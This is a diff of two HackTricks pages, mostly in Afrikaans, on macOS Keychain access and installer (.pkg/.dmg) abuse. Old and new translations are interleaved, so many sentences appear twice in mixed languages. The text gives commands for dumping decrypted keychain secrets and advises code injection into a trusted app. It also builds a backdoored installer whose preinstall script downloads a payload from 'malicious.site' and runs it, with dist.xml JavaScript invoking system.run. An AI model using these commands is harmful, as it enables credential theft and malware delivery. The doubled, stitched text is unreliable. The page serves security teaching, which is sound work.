* Slegs die **skeppende toepassing** (of enige ander toepassings wat eksplisiet bygevoeg is) kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Alle toepassings kan die integriteitskontrole sien.
* Geen toepassings kan ACL's verander nie.
* Die **partitionID** is ingestel op **`teamid:[teamID hier]`**.
* Alle apps kan versleutel.
* Slegs die **skepende toepassing** (of enige ander apps wat eksplisiet bygevoeg is) kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Alle apps kan die integriteitskontrole sien.
* Geen apps kan die ACLs verander nie.
* Die **partitionID** is opgestel na **`teamid:[teamID hier]`**.
## Toegang tot die Sleutelbos
## Toegang tot die Sleutelsak
### `security`
```bash
# List keychains
security list-keychains
# Dump all metadata and decrypted secrets (a lot of pop-ups)
security dump-keychain -a -d
@ -90,58 +93,61 @@ security find-generic-password -a "Slack" -g
# Change the specified entrys PartitionID entry
security set-generic-password-parition-list -s "test service" -a "test acount" -S
# Dump specifically the user keychain
security dump-keychain ~/Library/Keychains/login.keychain-db
```
### API's
### APIs
{% hint style="success" %}
Die **sleutelketting enumerasie en dump** van geheime wat **nie 'n venster sal genereer** nie, kan gedoen word met die gereedskap [**LockSmith**](https://github.com/its-a-feature/LockSmith)
Die **keychain enumerasie en dumping** van geheime wat **nie 'n prompt sal genereer nie** kan gedoen word met die hulpmiddel [**LockSmith**](https://github.com/its-a-feature/LockSmith)
{% endhint %}
Lys en kry **inligting** oor elke sleutelketting inskrywing:
Lys en kry **inligting** oor elke keychain inskrywing:
* Die API **`SecItemCopyMatching`** gee inligting oor elke inskrywing en daar is sekere eienskappe wat jy kan instel wanneer jy dit gebruik:
* **`kSecReturnData`**: As waar, sal dit probeer om die data te ontsluit (stel in op vals om potensiële pop-ups te vermy)
* **`kSecReturnRef`**: Kry ook verwysing na sleutelketting item (stel in op waar in geval jy later sien jy kan ontsluit sonder 'n pop-up)
* Die API **`SecItemCopyMatching`** gee inligting oor elke inskrywing en daar is 'n paar eienskappe wat jy kan stel wanneer jy dit gebruik:
* **`kSecReturnData`**: As waar, sal dit probeer om die data te ontsleutel (stel op vals om potensiële pop-ups te vermy)
* **`kSecReturnRef`**: Kry ook verwysing na keychain item (stel op waar in geval jy later sien jy kan ontsleutel sonder pop-up)
* **`kSecReturnAttributes`**: Kry metadata oor inskrywings
* **`kSecMatchLimit`**: Hoeveel resultate om terug te keer
* **`kSecClass`**: Watter soort sleutelketting inskrywing
* **`kSecMatchLimit`**: Hoeveel resultate om terug te gee
* **`kSecClass`**: Watter soort keychain inskrywing
Kry **ACL's** van elke inskrywing:
Kry **ACLs** van elke inskrywing:
* Met die API **`SecAccessCopyACLList`** kan jy die **ACL vir die sleutelketting item** kry, en dit sal 'n lys van ACL's teruggee (soos `ACLAuhtorizationExportClear` en die ander voorheen genoemde) waar elke lys het:
* Met die API **`SecAccessCopyACLList`** kan jy die **ACL vir die keychain item** kry, en dit sal 'n lys van ACLs teruggee (soos `ACLAuhtorizationExportClear` en die ander voorheen genoem) waar elke lys het:
* Beskrywing
* **Vertroude Aansoeklys**. Dit kan wees:
* 'n Toep: /Applications/Slack.app
* **Vertroude Toepassing Lys**. Dit kan wees:
* 'n app: /Applications/Slack.app
* 'n binêre: /usr/libexec/airportd
* 'n groep: group://AirPort
Voer die data uit:
Eksporteer die data:
* Die API **`SecKeychainItemCopyContent`** kry die platte teks
* Die API **`SecItemExport`** voer die sleutels en sertifikate uit, maar dit mag nodig wees om wagwoorde in te stel om die inhoud versleutel uit te voer
* Die API **`SecItemExport`** eksporteer die sleutels en sertifikate maar jy mag dalk wagwoorde moet stel om die inhoud versleuteld te eksporteer
En hierdie is die **vereistes** om in staat te wees om **'n geheim sonder 'n venster uit te voer**:
En dit is die **vereistes** om 'n **geheim sonder 'n prompt** te kan **eksporteer**:
* As daar **1+ vertroude** programme gelys is:
* Benodig die toepaslike **magtigings** (**`Nil`**, of wees **deel** van die toegelate lys van programme in die magtiging om die geheime inligting te benader)
* Benodig kodehandtekening om ooreen te stem met **PartitionID**
* Benodig kodehandtekening om ooreen te stem met dié van een **vertroude toep** (of wees 'n lid van die regte KeychainAccessGroup)
* As **alle programme vertrou** word:
* Benodig die toepaslike **magtigings**
* Benodig kodehandtekening om ooreen te stem met **PartitionID**
* As daar **geen PartitionID** is, is dit nie nodig nie
* As **1+ vertroude** apps gelys:
* Nodig die toepaslike **autorisaties** (**`Nil`**, of wees **deel** van die toegelate lys van apps in die autorisasie om toegang tot die geheime inligting te verkry)
* Nodig kodehandtekening om te pas by **PartitionID**
* Nodig kodehandtekening om te pas by een **vertroude app** (of wees 'n lid van die regte KeychainAccessGroup)
* As **alle toepassings vertrou**:
* Nodig die toepaslike **autorisaties**
* Nodig kodehandtekening om te pas by **PartitionID**
* As **geen PartitionID**, dan is dit nie nodig nie
{% hint style="danger" %}
Daarom, as daar **1 aansoek gelys** is, moet jy kode **inspuit in daardie aansoek**.
Daarom, as daar **1 toepassing gelys** is, moet jy **kode in daardie toepassing inspuit**.
As **apple** aangedui word in die **partitionID**, kan jy dit benader met **`osascript`** sodat enige iets wat alle programme met apple in die partitionID vertrou. **`Python`** kan ook hiervoor gebruik word.
As **apple** aangedui word in die **partitionID**, kan jy dit met **`osascript`** benader, so enigiets wat al die toepassings met apple in die partitionID vertrou. **`Python`** kan ook hiervoor gebruik word.
{% endhint %}
### Twee addisionele eienskappe
* **Onsigbaar**: Dit is 'n booleaanse vlag om die inskrywing van die **UI** Sleutelketting toep te **versteek**
* **Algemeen**: Dit is om **metadata** te stoor (dus dit is NIE VERSLEUTELD NIE)
* Microsoft het al die verfris tokens om toegang tot sensitiewe eindpunt te kry, in die platte teks gestoor.
* **Onsigbaar**: Dit is 'n booleaanse vlag om die inskrywing van die **UI** Keychain app te **versteek**
* **Algemeen**: Dit is om **metadata** te stoor (so dit is NIE VERSPREKELD nie)
* Microsoft het al die verfrissingstokens in platte teks gestoor om toegang tot sensitiewe eindpunte te verkry.
## Verwysings
@ -151,25 +157,25 @@ As **apple** aangedui word in die **partitionID**, kan jy dit benader met **`osa
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte deur **diewe malware** gekompromitteer is.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Die primêre doel van WhiteIntel is om rekening oorneem te bekamp en losgeldware aanvalle te voorkom wat voortspruit uit inligtingsteel malware.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
Jy kan hul webwerf nagaan en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,37 @@
# macOS Installer Misbruik
# macOS Installers Abuse
{% hint style="success" %}
Leer en oefen AWS Hacken: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacken: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of de [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Pkg Basiese Inligting
'n macOS **installeerpakket** (ook bekend as 'n `.pkg` lêer) is 'n lêerformaat wat deur macOS gebruik word om **sagteware te versprei**. Hierdie lêers is soos 'n **kas wat alles bevat wat 'n stuk sagteware** nodig het om korrek te installeer en te hardloop.
'n macOS **installer pakket** (ook bekend as 'n `.pkg` lêer) is 'n lêerformaat wat deur macOS gebruik word om **programmatuur te versprei**. Hierdie lêers is soos 'n **doos wat alles bevat wat 'n stuk programmatuur** nodig het om korrek te installeer en te werk.
Die pakketlêer self is 'n argief wat 'n **hiërargie van lêers en gideons bevat wat op die teikenrekenaar geïnstalleer sal word**. Dit kan ook **skripte** insluit om take voor en na die installasie uit te voer, soos die opstel van konfigurasie lêers of die skoonmaak van ou weergawes van die sagteware.
Die pakketlêer self is 'n argief wat 'n **hiërargie van lêers en gidse bevat wat op die teiken** rekenaar geïnstalleer sal word. Dit kan ook **scripts** insluit om take voor en na die installasie uit te voer, soos om konfigurasielêers op te stel of ou weergawes van die programmatuur skoon te maak.
### Hiërargie
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
* **Verspreiding (xml)**: Aanpassings (titel, welkomsteks...) en skrip/installasie kontroles
* **PackageInfo (xml)**: Inligting, installeer vereistes, installeer ligging, paaie na skripte om uit te voer
* **Materiaalstaat (bom)**: Lys van lêers om te installeer, op te dateer of te verwyder met lêerregte
* **Vrag (CPIO argief gzip saamgedruk)**: Lêers om in die `installeer-ligging` van PackageInfo te installeer
* **Skripte (CPIO argief gzip saamgedruk)**: Voor en na installasie skripte en meer bronne wat na 'n tydelike gids onttrek word vir uitvoering.
* **Verspreiding (xml)**: Aangepas (titel, verwelkoming teks…) en script/installasie kontroles
* **PakketInligting (xml)**: Inligting, installasie vereistes, installasie ligging, paaie na scripts om uit te voer
* **Materiaallys (bom)**: Lys van lêers om te installeer, op te dateer of te verwyder met lêer toestemmings
* **Payload (CPIO argief gzip gecomprimeer)**: Lêers om te installeer in die `install-location` van PakketInligting
* **Scripts (CPIO argief gzip gecomprimeer)**: Voor en na installasie scripts en meer hulpbronne wat na 'n tydelike gids onttrek is vir uitvoering.
### Dekomprimeer
### Decomprimeer
```bash
# Tool to directly get the files inside a package
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"
@ -45,62 +45,143 @@ xar -xf "/path/to/package.pkg"
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts
```
Om die inhoud van die installateur te visualiseer sonder om dit handmatig te dekomprimeer, kan jy ook die gratis gereedskap [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/) gebruik.
In order to visualize the contents of the installer without decompressing it manually you can also use the free tool [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
## DMG Basiese Inligting
DMG-lêers, of Apple Skyfafbeeldings, is 'n lêerformaat wat deur Apple se macOS vir skyfafbeeldings gebruik word. 'n DMG-lêer is essensieel 'n **monteerbare skyfafbeelding** (dit bevat sy eie lêersisteem) wat rou blokdata bevat wat tipies gecomprimeer en soms versleutel is. Wanneer jy 'n DMG-lêer oopmaak, **monteer macOS dit asof dit 'n fisiese skyf was**, wat jou in staat stel om by sy inhoud te kom.
DMG-lêers, of Apple Disk Images, is 'n lêerformaat wat deur Apple se macOS vir skyfbeelde gebruik word. 'n DMG-lêer is in wese 'n **aansluitbare skyfbeeld** (dit bevat sy eie lêerstelsel) wat rou blokdata bevat wat tipies gecomprimeer en soms geënkripteer is. Wanneer jy 'n DMG-lêer oopmaak, **aansluit macOS dit asof dit 'n fisiese skyf is**, wat jou toelaat om toegang tot sy inhoud te verkry.
{% hint style="danger" %}
Let daarop dat **`.dmg`** installateurs **so baie formate** ondersteun dat in die verlede sommige van hulle wat kwesbaarhede bevat het, misbruik is om **kernel-kode-uitvoering** te verkry.
Let daarop dat **`.dmg`** installers **soveel formate** ondersteun dat sommige daarvan in die verlede wat kwesbaarhede bevat het, misbruik is om **kernel kode-uitvoering** te verkry.
{% endhint %}
### Hiërargie
<figure><img src="../../../.gitbook/assets/image (225).png" alt=""><figcaption></figcaption></figure>
Die hiërargie van 'n DMG-lêer kan verskil op grond van die inhoud. Vir aansoek-DMGs volg dit gewoonlik hierdie struktuur:
Die hiërargie van 'n DMG-lêer kan verskil op grond van die inhoud. Dit volg egter gewoonlik hierdie struktuur vir toepassings DMGs:
* Bo-vlak: Dit is die wortel van die skyfafbeelding. Dit bevat dikwels die aansoek en moontlik 'n skakel na die Toepassings-vouer.
* Aansoek (.app): Dit is die werklike aansoek. In macOS is 'n aansoek tipies 'n pakkie wat baie individuele lêers en vouers bevat wat die aansoek uitmaak.
* Toepassingskakel: Dit is 'n kortpad na die Toepassings-vouer in macOS. Die doel hiervan is om dit vir jou maklik te maak om die aansoek te installeer. Jy kan die .app-lêer na hierdie kortpad sleep om die aansoek te installeer.
* Topvlak: Dit is die wortel van die skyfbeeld. Dit bevat dikwels die toepassing en moontlik 'n skakel na die Toepassings-gids.
* Toepassing (.app): Dit is die werklike toepassing. In macOS is 'n toepassing tipies 'n pakket wat baie individuele lêers en gidse bevat wat die toepassing saamstel.
* Toepassingskakel: Dit is 'n snelkoppeling na die Toepassings-gids in macOS. Die doel hiervan is om dit maklik vir jou te maak om die toepassing te installeer. Jy kan die .app-lêer na hierdie snelkoppeling sleep om die app te installeer.
## Privesc via pkg-misbruik
## Privesc via pkg misbruik
### Uitvoering vanaf openbare gids
### Uitvoering vanaf openbare gidse
As 'n voor- of na-installasieskrip byvoorbeeld uitgevoer word vanaf **`/var/tmp/Installerutil`**, en 'n aanvaller daardie skrip kan beheer, kan hy voorregte eskaleer wanneer dit uitgevoer word. Of 'n ander soortgelyke voorbeeld:
As 'n vooraf of na-installasie skrip byvoorbeeld uitvoer vanaf **`/var/tmp/Installerutil`**, en 'n aanvaller daardie skrip kan beheer, kan hy privilige verhoog wanneer dit uitgevoer word. Of 'n ander soortgelyke voorbeeld:
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption><p><a href="https://www.youtube.com/watch?v=kCXhIYtODBg">https://www.youtube.com/watch?v=kCXhIYtODBg</a></p></figcaption></figure>
### AuthorizationExecuteWithPrivileges
Dit is 'n [openbare funksie](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) wat verskeie installateurs en opdateringsoproep om iets as root uit te voer. Hierdie funksie aanvaar die **pad** van die **lêer** om as parameter **uit te voer**, maar as 'n aanvaller hierdie lêer kon **verander**, sal hy in staat wees om sy uitvoering met root te **misbruik** om voorregte te **eskaleer**.
Dit is 'n [openbare funksie](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) wat verskeie installers en opdaterings sal aanroep om **iets as root uit te voer**. Hierdie funksie aanvaar die **pad** van die **lêer** om **uit te voer** as parameter, egter, as 'n aanvaller hierdie lêer kan **wysig**, sal hy in staat wees om sy uitvoering met root te **misbruik** om **privilege te verhoog**.
```bash
# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig
```
For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
### Uitvoering deur montering
Indien 'n installeerder skryf na `/tmp/fixedname/bla/bla`, is dit moontlik om **'n montering te skep** oor `/tmp/fixedname` met geen eienaars, sodat jy **enige lêer tydens die installasie kan wysig** om die installasieproses te misbruik.
As 'n installer na `/tmp/fixedname/bla/bla` skryf, is dit moontlik om **'n montasie te skep** oor `/tmp/fixedname` sonder eienaars sodat jy **enige lêer tydens die installasie kan wysig** om die installasieproses te misbruik.
'n Voorbeeld hiervan is **CVE-2021-26089** wat daarin geslaag het om 'n periodieke skripsie te **oorwryf om uitvoering as 'n hoofgebruiker te kry**. Vir meer inligting, kyk na die aanbieding: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
'n Voorbeeld hiervan is **CVE-2021-26089** wat daarin geslaag het om **'n periodieke skrip te oorskryf** om uitvoering as root te verkry. Vir meer inligting, kyk na die praatjie: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
## pkg as skadelike sagteware
## pkg as malware
### Leë Vrag
### Leë Payload
Dit is moontlik om net 'n **`.pkg`** lêer te genereer met **voor- en na-installeer skripte** sonder enige vrag.
Dit is moontlik om net 'n **`.pkg`** lêer te genereer met **pre- en post-install skripte** sonder enige werklike payload behalwe die malware binne die skripte.
### JS in Verspreidings-xml
### JS in Verspreiding xml
Dit is moontlik om **`<script>`** etikette by die **verspreidings-xml** lêer van die pakkie te voeg en daardie kode sal uitgevoer word en dit kan **opdragte uitvoer** deur **`system.run`** te gebruik:
Dit is moontlik om **`<script>`** etikette in die **verspreiding xml** lêer van die pakket toe te voeg en daardie kode sal uitgevoer word en dit kan **opdragte uitvoer** met behulp van **`system.run`**:
<figure><img src="../../../.gitbook/assets/image (1043).png" alt=""><figcaption></figcaption></figure>
### Backdoored Installer
Kwaadwillige installer wat 'n skrip en JS-kode binne dist.xml gebruik
```bash
# Package structure
mkdir -p pkgroot/root/Applications/MyApp
mkdir -p pkgroot/scripts
# Create preinstall scripts
cat > pkgroot/scripts/preinstall <<EOF
#!/bin/bash
echo "Running preinstall script"
curl -o /tmp/payload.sh http://malicious.site/payload.sh
chmod +x /tmp/payload.sh
/tmp/payload.sh
exit 0
EOF
# Build package
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg
# Generate the malicious dist.xml
cat > ./dist.xml <<EOF
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="1">
<title>Malicious Installer</title>
<options customize="allow" require-scripts="false"/>
<script>
<![CDATA[
function installationCheck() {
if (system.isSandboxed()) {
my.result.title = "Cannot install in a sandbox.";
my.result.message = "Please run this installer outside of a sandbox.";
return false;
}
return true;
}
function volumeCheck() {
return true;
}
function preflight() {
system.run("/path/to/preinstall");
}
function postflight() {
system.run("/path/to/postinstall");
}
]]>
</script>
<choices-outline>
<line choice="default">
<line choice="myapp"/>
</line>
</choices-outline>
<choice id="myapp" title="MyApp">
<pkg-ref id="com.malicious.myapp"/>
</choice>
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
</installer-gui-script>
EOF
# Buil final
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg
```
## Verwysings
* [**DEF CON 27 - Ontpakkings Pkgs 'n Blik Binne-in Macos Installer-pakkette en Algemene Sekuriteitsfoute**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "Die Wildernis van macOS-installeerders" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
* [**DEF CON 27 - Ontpakkings Pkgs 'n Blik Binne-in MacOS Installer-pakkette**](https://www.youtube.com/watch?v=kCXhIYtODBg)
* [**DEF CON 27 - Ontpakking van Pkgs 'n Kyk Binne Macos Installer Pakkette En Algemene Sekuriteitsfoute**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "Die Wilde Wêreld van macOS Installeerders" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
* [**DEF CON 27 - Ontpakking van Pkgs 'n Kyk Binne MacOS Installer Pakkette**](https://www.youtube.com/watch?v=kCXhIYtODBg)
* [https://redteamrecipe.com/macos-red-teaming?utm\_source=pocket\_shared#heading-exploiting-installer-packages](https://redteamrecipe.com/macos-red-teaming?utm\_source=pocket\_shared#heading-exploiting-installer-packages)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Ekspert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}